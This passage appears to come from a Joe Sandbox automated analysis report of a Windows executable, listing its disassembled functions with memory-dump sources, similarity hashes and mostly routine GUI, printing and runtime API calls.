          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Menu$Append$Modify$CreatePopup
          • String ID:
          • API String ID: 3846898120-0
          • Opcode ID: 4cf8b447bcb36f6af056045497105e7585ca7f0cd2ca72960c5f408887d5a1a7
          • Instruction ID: 0275ba77298e931c7e4c82fbdafa4ed3c9240df0a36033b2e457d1909b10590e
          • Opcode Fuzzy Hash: 4cf8b447bcb36f6af056045497105e7585ca7f0cd2ca72960c5f408887d5a1a7
          • Instruction Fuzzy Hash: 7CD19BB16083218BC714DF19E880A6BBBE4EF89754F54492EF88597351E738ED01CB9A
          APIs
          • GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 00485DC5
          • GetStdHandle.KERNEL32(000000F4,004ADA7C,00000000,00000000,00000000,?), ref: 00485E9B
          • WriteFile.KERNEL32(00000000), ref: 00485EA2
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: File$HandleModuleNameWrite
          • String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
          • API String ID: 3784150691-4022980321
          • Opcode ID: ba735e4816f90fc8e70fb6a21428ca5316bdaf79d57dde431515f1a75bf2459b
          • Instruction ID: d52ff03596082a11bf45327a2ed884ec624b29e678825e0704e7c8660c4c0a27
          • Opcode Fuzzy Hash: ba735e4816f90fc8e70fb6a21428ca5316bdaf79d57dde431515f1a75bf2459b
          • Instruction Fuzzy Hash: 7E31B872A002186EDF20FB61DC45FAE376DEB46304F54085BF445E6151EA78EA818B5D
          APIs
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: accept
          • String ID: %s:%d$P
          • API String ID: 3005279540-612342447
          • Opcode ID: d9c9b492ef263e65d6337e1c8e0be4d1ff08aa5ae1b94ab86b29fe464a73ef74
          • Instruction ID: ca7a2168ae90124c81d07e4422a4b7a43b1f5c46890160282be277c0eb97c561
          • Opcode Fuzzy Hash: d9c9b492ef263e65d6337e1c8e0be4d1ff08aa5ae1b94ab86b29fe464a73ef74
          • Instruction Fuzzy Hash: 9E31A4312046019FD314EB29DC98DAB77E8FFD1324F444B2EF5A1C22D0EA74A80A8755
          APIs
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: __ftol
          • String ID:
          • API String ID: 495808979-0
          • Opcode ID: 1b9fe6598576bdca49b4964e5ae246ce4ccc6d37a5037a714d8a3c5a82d26411
          • Instruction ID: 4cf80541536d07a20aa133bf6b2a3dedde60506f73989536a2f6dbb5a2756aa7
          • Opcode Fuzzy Hash: 1b9fe6598576bdca49b4964e5ae246ce4ccc6d37a5037a714d8a3c5a82d26411
          • Instruction Fuzzy Hash: A1D121B2908342DFD301AF21D18925ABFF0FFD5744FA60999E0D56626AE3318578CB86
          APIs
            • Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
            • Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1
            • Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B
          • IsRectEmpty.USER32(?), ref: 0042467D
          • GetSysColor.USER32(0000000F), ref: 0042468E
            • Part of subcall function 00498A80: __EH_prolog.LIBCMT ref: 00498A85
            • Part of subcall function 00498A80: CreateSolidBrush.GDI32(?), ref: 00498AA2
            • Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,00000000), ref: 00498039
            • Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,?), ref: 0049804F
          • PatBlt.GDI32(?,?,?,?,?,00F00021), ref: 004246D8
          • GetClientRect.USER32(?,?), ref: 004246F1
          • LoadBitmapA.USER32(?,?), ref: 00424728
          • GetObjectA.GDI32(?,00000018,?), ref: 00424777
          • CreateCompatibleDC.GDI32(?), ref: 0042479D
          • BitBlt.GDI32(?,?,?,?,?,?,00000000,00000000,00CC0020), ref: 0042482F
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Object$CreateH_prologRectSelect$BeginBitmapBrushClientClipColorCompatibleEmptyLoadPaintSolid
          • String ID:
          • API String ID: 1390316934-0
          • Opcode ID: 69cb6dd53a978c06eda6c95eb86f4c4a8d5d25e0a667af28fcc92ecb00aa5914
          • Instruction ID: 5ee14a65d94ca8f2d33b59408d6ce94d451dbc9cf36873ffc239747b87141bfd
          • Opcode Fuzzy Hash: 69cb6dd53a978c06eda6c95eb86f4c4a8d5d25e0a667af28fcc92ecb00aa5914
          • Instruction Fuzzy Hash: 42617E712183819FD714DF68C845F6BBBE8FBD5714F048A2DF09993290DB38A904CB66
          APIs
          • GetDeviceCaps.GDI32(?,00000058), ref: 0044A698
          • GetDeviceCaps.GDI32(?,0000005A), ref: 0044A6A1
          • GetDeviceCaps.GDI32(?,0000006E), ref: 0044A6B2
          • GetDeviceCaps.GDI32(?,0000006F), ref: 0044A6CF
          • GetDeviceCaps.GDI32(?,00000070), ref: 0044A6E4
          • GetDeviceCaps.GDI32(?,00000071), ref: 0044A6F9
          • GetDeviceCaps.GDI32(?,00000008), ref: 0044A70E
          • GetDeviceCaps.GDI32(?,0000000A), ref: 0044A723
            • Part of subcall function 0044A460: __ftol.LIBCMT ref: 0044A465
            • Part of subcall function 0044A490: __ftol.LIBCMT ref: 0044A495
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CapsDevice$__ftol
          • String ID:
          • API String ID: 1555043975-0
          • Opcode ID: 2dccc1cdd8d49e25d8914a8792da13413f8ca1f7782ceb5fc3728295444b3f1f
          • Instruction ID: a4242212c2579a970814d81ec2f566b95b66d9a2844689c033eb62e428fcda3b
          • Opcode Fuzzy Hash: 2dccc1cdd8d49e25d8914a8792da13413f8ca1f7782ceb5fc3728295444b3f1f
          • Instruction Fuzzy Hash: 82514A705487409BE300EF69C885A6FBBE4FFC9708F01495DF68856290DBB5D9248B97
          APIs
          • GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00480870), ref: 004857AC
          • GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00480870), ref: 004857C0
          • GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00480870), ref: 004857EC
          • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00480870), ref: 00485824
          • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00480870), ref: 00485846
          • FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00480870), ref: 0048585F
          • GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00480870), ref: 00485872
          • FreeEnvironmentStringsA.KERNEL32(00000000), ref: 004858B0
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: EnvironmentStrings$ByteCharFreeMultiWide
          • String ID:
          • API String ID: 1823725401-0
          • Opcode ID: 249167efc4dcaba36828416a0ab81d09f7997749da90421df9041c39c44276d2
          • Instruction ID: b7bb90dfab957eb614a56cf7b969656646acdda653d92662113e05e3b45d9ec4
          • Opcode Fuzzy Hash: 249167efc4dcaba36828416a0ab81d09f7997749da90421df9041c39c44276d2
          • Instruction Fuzzy Hash: 4B31D4B25046256FEB207FB95C8483FBADDEA46358B150D3FF952C3310E6698C91836E
          APIs
          • ReleaseCapture.USER32 ref: 0043C5F1
            • Part of subcall function 00496156: IsWindowEnabled.USER32(?), ref: 00496160
          • GetClientRect.USER32(?,?), ref: 0043C547
          • PtInRect.USER32(?,?,?), ref: 0043C55C
          • ClientToScreen.USER32(?,?), ref: 0043C56D
          • WindowFromPoint.USER32(?,?), ref: 0043C57D
          • ReleaseCapture.USER32 ref: 0043C597
          • GetCapture.USER32 ref: 0043C5B1
          • SetCapture.USER32(?), ref: 0043C5BC
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Capture$ClientRectReleaseWindow$EnabledFromPointScreen
          • String ID:
          • API String ID: 3076215760-0
          • Opcode ID: f361a7e69465f0cce3d301e4dc580858b0d13c3daedca33f28df2a5cfc6966a9
          • Instruction ID: 70e9aa301c2186aa0dc86f704e7dbe0d64f4a855c05fc166f56139c507b19733
          • Opcode Fuzzy Hash: f361a7e69465f0cce3d301e4dc580858b0d13c3daedca33f28df2a5cfc6966a9
          • Instruction Fuzzy Hash: DE21F536200320ABC314EB2DC889E6F7BE4AFCC319F04492EF84192351E739E9458B69
          APIs
          • GlobalLock.KERNEL32(?), ref: 00496582
          • lstrcmpA.KERNEL32(?,?), ref: 0049658E
          • OpenPrinterA.WINSPOOL.DRV(?,?,00000000), ref: 004965A0
          • DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 004965C3
          • GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 004965CB
          • GlobalLock.KERNEL32(00000000), ref: 004965D8
          • DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 004965E5
          • ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 00496603
            • Part of subcall function 004993E2: GlobalFlags.KERNEL32(?), ref: 004993EC
            • Part of subcall function 004993E2: GlobalUnlock.KERNEL32(?), ref: 00499403
            • Part of subcall function 004993E2: GlobalFree.KERNEL32(?), ref: 0049940E
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
          • String ID:
          • API String ID: 168474834-0
          • Opcode ID: b25f6456d49b00fdda58b8ed950b846139ceea355d83ce2378c6ddfa9e3877b2
          • Instruction ID: 9734cbd7d9b329aa57ee9aabeb317fd307d1de4661f3003674ff9545ba2dae96
          • Opcode Fuzzy Hash: b25f6456d49b00fdda58b8ed950b846139ceea355d83ce2378c6ddfa9e3877b2
          • Instruction Fuzzy Hash: 01114C71500204BBEF219BB6CC8AEAFBEADEF86744F11443EFA08D1161D6399D519728
          APIs
          • GetClientRect.USER32(?,?), ref: 004127DC
          • PtInRect.USER32(?,?,?), ref: 004127F1
          • ReleaseCapture.USER32 ref: 00412801
          • InvalidateRect.USER32(?,00000000,00000000), ref: 0041280F
          • GetCapture.USER32 ref: 0041281F
          • SetCapture.USER32(?), ref: 0041282A
          • InvalidateRect.USER32(?,00000000,00000000), ref: 0041284B
          • SetCapture.USER32(?), ref: 00412855
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CaptureRect$Invalidate$ClientRelease
          • String ID:
          • API String ID: 3559558096-0
          • Opcode ID: 0edb095a5db58665efc5b1a0bf644b6c460811983a70c7f51201640421269706
          • Instruction ID: e8acc0af0a4dd163a3ddbee43da5a9be5d6a98b8153f2b73fa57ef719381fb30
          • Opcode Fuzzy Hash: 0edb095a5db58665efc5b1a0bf644b6c460811983a70c7f51201640421269706
          • Instruction Fuzzy Hash: B9117075500711AFD720EF68DC48F9B7BA8BB49704F048A2DF596C7260DB34E844CB68
          APIs
          • IsWindow.USER32(?), ref: 00416E2D
          • GetParent.USER32(?), ref: 00416E3F
          • SendMessageA.USER32(?,0000130B,00000000,00000000), ref: 00416E67
          • GetWindowRect.USER32(?,?), ref: 00416EF1
          • InvalidateRect.USER32(?,?,00000001,?), ref: 00416F14
          • GetWindowRect.USER32(?,?), ref: 004170DC
          • InvalidateRect.USER32(?,?,00000001,?), ref: 004170FD
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$Window$Invalidate$MessageParentSend
          • String ID:
          • API String ID: 236041146-0
          • Opcode ID: e54667e6d7cfe19a07e20240edf3df031c1212d82a7be798ecd17a51dd2c67bf
          • Instruction ID: bc0e2210aa49ee5ba1df181a506e0331279066dee6645ac584144257f536ce1c
          • Opcode Fuzzy Hash: e54667e6d7cfe19a07e20240edf3df031c1212d82a7be798ecd17a51dd2c67bf
          • Instruction Fuzzy Hash: 149106716443059BC720EF25CC41BAB77F8AF84718F05452EFD459B382DB38E9868B9A
          APIs
          • GetClientRect.USER32(?,?), ref: 0044BC1D
          • GetParent.USER32(?), ref: 0044BC29
          • GetClientRect.USER32(?,?), ref: 0044BC3A
            • Part of subcall function 004985C5: ClientToScreen.USER32(0040CCE8,?), ref: 004985D9
            • Part of subcall function 004985C5: ClientToScreen.USER32(0040CCE8,?), ref: 004985E2
          • GetParent.USER32(?), ref: 0044BC4C
            • Part of subcall function 00498589: ScreenToClient.USER32(?,76087310), ref: 0049859D
            • Part of subcall function 00498589: ScreenToClient.USER32(?,76087318), ref: 004985A6
            • Part of subcall function 0049871B: __EH_prolog.LIBCMT ref: 00498720
            • Part of subcall function 0049871B: GetDC.USER32(?), ref: 00498749
          • SendMessageA.USER32 ref: 0044BC7F
            • Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,00000000), ref: 00498039
            • Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,?), ref: 0049804F
          • GetTextExtentPoint32A.GDI32(?,004C3268,00000001,?), ref: 0044BCAC
          • EqualRect.USER32(?,?), ref: 0044BE6A
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
